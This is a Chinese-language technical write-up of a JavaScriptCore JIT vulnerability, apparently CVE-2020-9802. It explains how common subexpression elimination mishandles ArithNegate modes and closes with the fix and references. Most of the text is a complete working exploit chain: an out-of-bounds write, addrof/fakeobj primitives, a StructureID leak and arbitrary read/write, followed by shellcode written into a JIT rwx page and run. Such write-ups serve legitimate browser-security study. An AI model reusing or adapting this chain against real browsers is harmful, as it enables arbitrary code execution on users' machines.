git checkout 17218d1485b0f5d98d2aad116d4fdb2bad6aee2d git < ./patch.diff Tools/Scripts/build-webkit --jsc-only --debug
启动运行:
./jsc --useConcurrentJIT=false ./exp.js
jsc 优化的四个阶段:
在jsc中会对以下的 JS 代码进行优化:
let c = a + b; let d = a + b;
优化成:
let c = a + b; let d = c;
这种优化称为 Common Subexpression Elimination (CSE),公共子表达式消除,但是像下面这种:
let c = o.a; f(); let d = o.a;
就无法进行优化消除,直接使d=c,因为在调用f()函数的过程中可能会改变o.a的值。
在JSC中,对某项操作是否进行CSE是在DFGClobberize中实现的。
漏洞点在于:
case ArithNegate: if (node->child1().useKind() == Int32Use || ...) def(PureValue(node)); // <- only the input matters, not the ArithMode
ArithNegate 操作中没有使用ArithMode,这可能导致 CSE 可以用 unchecked的 ArithNegate 替换 checked的ArithNegate,对于ArithNegate一个32位整数求反的情况下,整数溢出只能在一种情况下发生,即32位有符号整数的最小值INT_MIN:0x80000000(-2147483648),取反后为2147483648,然而32位有符号整数的最大值为0x7fffffff,不能表示2147483648,导致溢出。溢出后需要做的就是绕过checked 的溢出检查,例如将操作的checked模式转成unchecked模式。
最终要构造以下效果:
v = ArithNeg(unchecked) n i = ArithNeg(checked) n
然后通过CSE 优化转化成:
v = ArithNeg(unchecked) n i = v
(1)所以首先我们要得到一个v = ArithNeg(unchecked) n
ArithNegate 用于对整数取反,然而JavaScript中很多数据为浮点数类型,所以需要先将其转成整数:
n = n|0; // n will be an integer value now
此时,n为一个32位的整数,之后要构造一个unchecked ArithNegate操作
n = n|0; // 【1】 let v = (-n)|0; // 【2】
【2】在DFGFixupPhase处理流程中,对n取反会被转化成unchecked ArithNegate操作。在对取反的值进行or操作时,编译器会消除溢出的检查,因为即使是对INT_MIN:0x80000000 (-2147483648)取反后进行or操作,得到的值也是0x80000000,v的值不会溢出,所以没必要进行溢出检查。
js> -2147483648 | 0 -2147483648 js> 2147483648 | 0 -2147483648
(2)接下来要构造i = ArithNeg(checked) n
通过ArithAbs操作实现,只有当传入的n为负数时,才会将ArithAbs转化成ArithNegate操作进行检查,因为正数的绝对值是它本身,不会造成溢出,也不用取反。因此完成以下的构造:
n = n|0; if (n < 0) { // Compiler knows that n will be a negative integer here let v = (-n)|0; let i = Math.abs(n); }
Math.abs会调用到ArithAbs 操作,之后 IntegerRangeOptimization将 ArithAbs转换为一个checked的ArithNegate(这里要进行检查,是因为 INT_MIN:-2147483648取绝对值后变成2147483648会造成溢出)。此时v 和 i 的值被认为是相同的,都是ArithNeg n,只不过模式不同,但CSE优化会无视模式不同,直接当成同一个值处理。
(3)准备条件已经完成,最后通过循环调用,触发CSE优化,转化成:
v = ArithNeg(unchecked) n i = v
综上所述,poc如下:
function hax(arr, n) { n = n|0; if (n < 0) { let v = (-n)|0; let idx = Math.abs(n); if (idx < arr.length) { arr[idx]; } } }
触发漏洞前,IntegerRangeOptimization 在进入idx < arr.length
时将idx标志为恒大于等于0 且小于数组长度,此时传入的n为负数,idx=-n,通过循环训练,JIT会认为idx极大可能落在数组内,预测下一次访问也在数组内,从而消除数组的越界访问检查。
而触发漏洞,进行CSE优化时,传入的n为-2147483648,idx=v=-2147483648,依然为负数,小于数组长度,进入判断,但此时已经消除了数组的越界检查。上述最终效果是可以越界访问arr[-2147483648],造成crash。
后面要做的就是将idx从-2147483648 转化成任意数,越界读写后面对象的内容。修改poc如下:
function Foo(arr, n) { n = n | 0; if(n < 0) { let v = (-n) | 0; let idx = Math.abs(n); if(idx < arr.length) { if(idx & 0x80000000) { // 输入值为负时才能进行减法操作 idx += -0x7ffffffd; // idx = 3; } if(idx > 0) { // 由于前面的减法,IntegerRangeOptimization无法确定idx是否恒大于等于0,所以要加判断 return arr[idx] = 1.04380972981885e-310; // i2f(0x133700001337); } } } }
通过idx-0x7ffffffd
使idx=3,因为此时JIT认为idx恒为正数,减去0x7ffffffd 并不会造成溢出,所以消除了ArithAdd的检查,所以从进入idx < arr.length
条件判断到越界写操作,一路的检查都被消除了,造成了OOB漏洞。
根据poc可以越界改写后面浮点数数组的长度,构造一个可以越界读写的数组:
布置三个数组,地址如下:
[+] arr: 0x00007fe4f209e4e8
[+] oobAddr: 0x00007fe4f209ed68
[+] objAddr: 0x00007fe4f209ede8
调试观察它们butterfly的布局:
可以看到通过越界读写arr[3],可以将oobArr数组的length修改成0x1337,之后通过oobArr可以再一次越界读写,通过修改oobArr[4],可以直接修改objArr[0]的内容,由于oobArr为浮点数数组,objArr为对象数组,通过类型转化可以完成addrof和fakeobj 原语:
let noCoW = 13.37; let arr = [noCoW, 2.2, 3.3]; let oobArr = [noCoW, 2.2, 3.3]; let objArr = [{}, {}, {}]; function AddrOf(obj) { objArr[0] = obj; return f2i(oobArr[4]); } function FakeObj(addr) { addr = i2f(addr); oobArr[4] = addr; return objArr[0]; }
后面的操作就比较常规了:
(1)绕过StructureID随机化
(2)构造任意地址读写
(3)查找wasm rwx区域,写入shellcode,完成利用
当加载JSArray的元素时,解释器中有一个代码路径,它永远不会访问StructureID:
static ALWAYS_INLINE JSValue getByVal(VM& vm, JSValue baseValue, JSValue subscript) { ...; if (subscript.isUInt32()) { uint32_t i = subscript.asUInt32(); if (baseValue.isObject()) { JSObject* object = asObject(baseValue); if (object->canGetIndexQuickly(i)) return object->getIndexQuickly(i); // 【1】
getIndexQuickly直接从butterfly加载元素,而canGetIndexQuickly只查看JSCell头部中的索引类型和butterfly中的length:
bool canGetIndexQuickly(unsigned i) const { const Butterfly* butterfly = this->butterfly(); switch (indexingType()) { ...; case ALL_CONTIGUOUS_INDEXING_TYPES: return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i); }
我们可以伪造一个JSArray对象,填充无效的StructureID等头部字段(因为getByVal路径上不验证,所以不会报错),然后将butterfly填充为要泄露的目标对象地址,就可以将目标对象的结构当成数据输出。
泄露StructureID的代码如下:
// leak entropy by getByVal function LeakStructureID(obj) { let container = { cellHeader: i2obj(0x0108230700000000), // 伪造的JSArray头部,包括StructureID等字段 butterfly: obj }; let fakeObjAddr = AddrOf(container) + 0x10; let fakeObj = FakeObj(fakeObjAddr); f64[0] = fakeObj[0];// 访问元素会调用getByVal //此时fakeObj[0]为Legitimate JSArray的JSCell,fakeObj[1]为Legitimate JSArray的butterfly // repair the fakeObj's jscell let structureID = u32[0]; u32[1] = 0x01082307 - 0x20000; container.cellHeader = f64[0]; return structureID; }
内存布局如下:
// container 对象: Object: 0x7fe0cc78c000 with butterfly (nil) (Structure 0x7fe0cc7bfde0:[0xd0bd, Object, {cellHeader:0, butterfly:1}, NonArray, Proto:0x7fe10cbf6de8, Leaf]), StructureID: 53437 pwndbg> x/4gx 0x7fe0cc78c000 0x7fe0cc78c000: 0x010018000000d0bd 0x0000000000000000 0x7fe0cc78c010: 0x0108230700000000 0x00007fe10cb7cae8 // <---伪造的Butterfly,覆盖成目标对象地址 // 伪造的JSCell pwndbg> x/gx 0x00007fe10cb7cae8 0x7fe10cb7cae8: 0x010823070000f1aa // <---- StructureID被当作数据输出
泄露StructureID后,我们可以仿造泄露StructureID方法一那样构造一个JSArray,只不过现在StructureID填充的是有效的,可以根据Butterfly进行读写。
(1)首先伪造一个driver object,类型为对象类型数组,将driver object 的butterfly 指向victim object,此时访问driver[1]就可以访问victim object的butterfly,之后申请一个ArrayWithDouble(浮点数类型)的数组unboxed,通过driver[1] = unboxed 将victim object的butterfly填充为unboxed对象地址,同理此时访问victim[1]就可以访问unboxed object 的butterfly。
这一步我们可以泄露unboxed object的butterfly内容。代码如下:
var victim = [noCoW, 14.47, 15.57]; victim['prop'] = 13.37; victim['prop_1'] = 13.37; u32[0] = structureID; u32[1] = 0x01082309-0x20000; var container = { cellHeader: f64[0], butterfly: victim }; // build fake driver var containerAddr = AddrOf(container); var fakeArrAddr = containerAddr + 0x10; var driver = FakeObj(fakeArrAddr); // ArrayWithDouble var unboxed = [noCoW, 13.37, 13.37]; // leak unboxed butterfly's addr driver[1] = unboxed; var sharedButterfly = victim[1]; print("[+] shared butterfly addr: " + hex(f2i(sharedButterfly)));
(2)申请一个ArrayWithContiguous(对象类型)的数组boxed,和第一步一样,将driver[1]覆盖成boxed object地址就可以通过victim[1] 对boxed object的butterfly进行操作。将第一步泄露的unboxed object butterfly内容填充到boxed object的butterfly,这样两个对象操作的就是同一个butterfly,可以方便构造新的addrof 和 fakeobj原语。
代码如下:
var boxed = [{}]; driver[1] = boxed; victim[1] = sharedButterfly; function NewAddrOf(obj) { boxed[0] = obj; return f2i(unboxed[0]); } function NewFakeObj(addr) { unboxed[0] = i2f(addr); return boxed[0]; }
(3)将driver object的类型修改成浮点型数组类型,将victim object 的butterfly 修改成target_addr+0x10,因为butterfly是指向length和elem0中间,而属性1prop位于butterfly-0x10的位置,访问victim.prop相当于访问butterfly-0x10 =(target_addr+0x10)-0x10=target_addr。
所以通过读写victim.prop就可以实现任意地址的读写,代码如下:
function Read64(addr) { driver[1] = i2f(addr+0x10); return NewAddrOf(victim.prop); } function Write64(addr, val) { driver[1] = i2f(addr+0x10); victim.prop = i2f(val); }
和v8的利用相似,通过任意读查找wasm_function中rwx区域,通过任意写将shellcode写入该区域即可执行任意代码。
完成exp代码如下(适配debug版本):
const MAX_ITERATIONS = 0xc0000; const buf = new ArrayBuffer(8); const f64 = new Float64Array(buf); const u32 = new Uint32Array(buf); function f2i(val) { f64[0] = val; return u32[1] * 0x100000000 + u32[0]; } function i2f(val) { let tmp = []; tmp[0] = parseInt(val % 0x100000000); tmp[1] = parseInt((val - tmp[0]) / 0x100000000); u32.set(tmp); return f64[0]; } function i2obj(val) { return i2f(val-0x02000000000000); } function hex(i) { return "0x"+i.toString(16).padStart(16, "0"); } var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98, 96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98, 105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90, 72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5]; function MakeJitCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } for (var i = 0; i < 1000; i++) { target(i); } for (var i = 0; i < 1000; i++) { target(i); } for (var i = 0; i < 1000; i++) { target(i); } return target; } var jitFunc = MakeJitCompiledFunction(); function Foo(arr, n) { n = n | 0; if(n<0) { let v = (-n) | 0; let idx = Math.abs(n); if(idx < arr.length) { if(idx & 0x80000000) { idx += -0x7ffffffd; // idx = 3; } if(idx>0) { return arr[idx] = 1.04380972981885e-310; // i2f(0x133700001337); } } } } let noCoW = 13.37; let arr = [noCoW, 2.2, 3.3]; let oobArr = [noCoW, 2.2, 3.3]; let objArr = [{}, {}, {}]; for(let i=0; i<MAX_ITERATIONS; i++) { let tmp = -2; Foo(arr, tmp); } Foo(arr, -2147483648); print("[+] now oob arr's length: " + hex(oobArr.length)); function AddrOf(obj) { objArr[0] = obj; return f2i(oobArr[4]); } function FakeObj(addr) { addr = i2f(addr); oobArr[4] = addr; return objArr[0]; } // leak entropy by getByVal function LeakStructureID(obj) { let container = { cellHeader: i2obj(0x0108200700000000), butterfly: obj }; let fakeObjAddr = AddrOf(container) + 0x10; let fakeObj = FakeObj(fakeObjAddr); f64[0] = fakeObj[0]; // repair the fakeObj's jscell let structureID = u32[0]; u32[1] = 0x01082307 - 0x20000; container.cellHeader = f64[0]; return structureID; } var arrLeak = new Array(noCoW, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8); let structureID = LeakStructureID(arrLeak); print("[+] leak structureID: "+hex(structureID)); pad = [{}, {}, {}]; var victim = [noCoW, 14.47, 15.57]; victim['prop'] = 13.37; victim['prop_1'] = 13.37; u32[0] = structureID; u32[1] = 0x01082309-0x20000; var container = { cellHeader: f64[0], butterfly: victim }; // build fake driver var containerAddr = AddrOf(container); var fakeArrAddr = containerAddr + 0x10; var driver = FakeObj(fakeArrAddr); // ArrayWithDouble var unboxed = [noCoW, 13.37, 13.37]; // ArrayWithContiguous var boxed = [{}]; // leak unboxed butterfly's addr driver[1] = unboxed; var sharedButterfly = victim[1]; print("[+] shared butterfly addr: " + hex(f2i(sharedButterfly))); driver[1] = boxed; victim[1] = sharedButterfly; // set driver's cell header to double array u32[0] = structureID; u32[1] = 0x01082307-0x20000; container.cellHeader = f64[0]; function NewAddrOf(obj) { boxed[0] = obj; return f2i(unboxed[0]); } function NewFakeObj(addr) { unboxed[0] = i2f(addr); return boxed[0]; } function Read64(addr) { driver[1] = i2f(addr+0x10); return NewAddrOf(victim.prop); } function Write64(addr, val) { driver[1] = i2f(addr+0x10); victim.prop = i2f(val); } function ByteToDwordArray(payload) { let sc = [] let tmp = 0; let len = Math.ceil(payload.length/6) for (let i = 0; i < len; i += 1) { tmp = 0; pow = 1; for(let j=0; j<6; j++){ let c = payload[i*6+j] if(c === undefined) { c = 0; } pow = j==0 ? 1 : 256 * pow; tmp += c * pow; } tmp += 0xc000000000000; sc.push(tmp); } return sc; } function ArbitraryWrite(addr, payload) { let sc = ByteToDwordArray(payload); for(let i=0; i<sc.length; i++) { Write64(addr+i*6, sc[i]); } } var jitFuncAddr = NewAddrOf(jitFunc); print("[+] jit function addr: "+hex(jitFuncAddr)); var executableBaseAddr = Read64(jitFuncAddr + 0x18); var jitCodeAddr = Read64(executableBaseAddr + 0x8); print("[+] jit code addr: "+hex(jitCodeAddr)); var rwxAddr = Read64(jitCodeAddr + 0x20); print("[+] rwx addr: "+hex(rwxAddr)); ArbitraryWrite(rwxAddr, shellcode); print("[+] trigger shellcode"); jitFunc();
执行效果:
- def(PureValue(node)); + def(PureValue(node, node->arithMode()));
添加arithMode,使CSE重新检查ArithNegate操作,判断是unchecked 还是checked 模式,并进入不同的处理,而不能直接互相替换。
https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html
https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html
https://www.anquanke.com/post/id/223494
https://bugs.chromium.org/p/project-zero/issues/detail?id=2020#c4
https://bugs.webkit.org/show_bug.cgi?id=209093
https://github.com/ray-cp/browser_pwn/tree/master/jsc_pwn/cve-2020-9802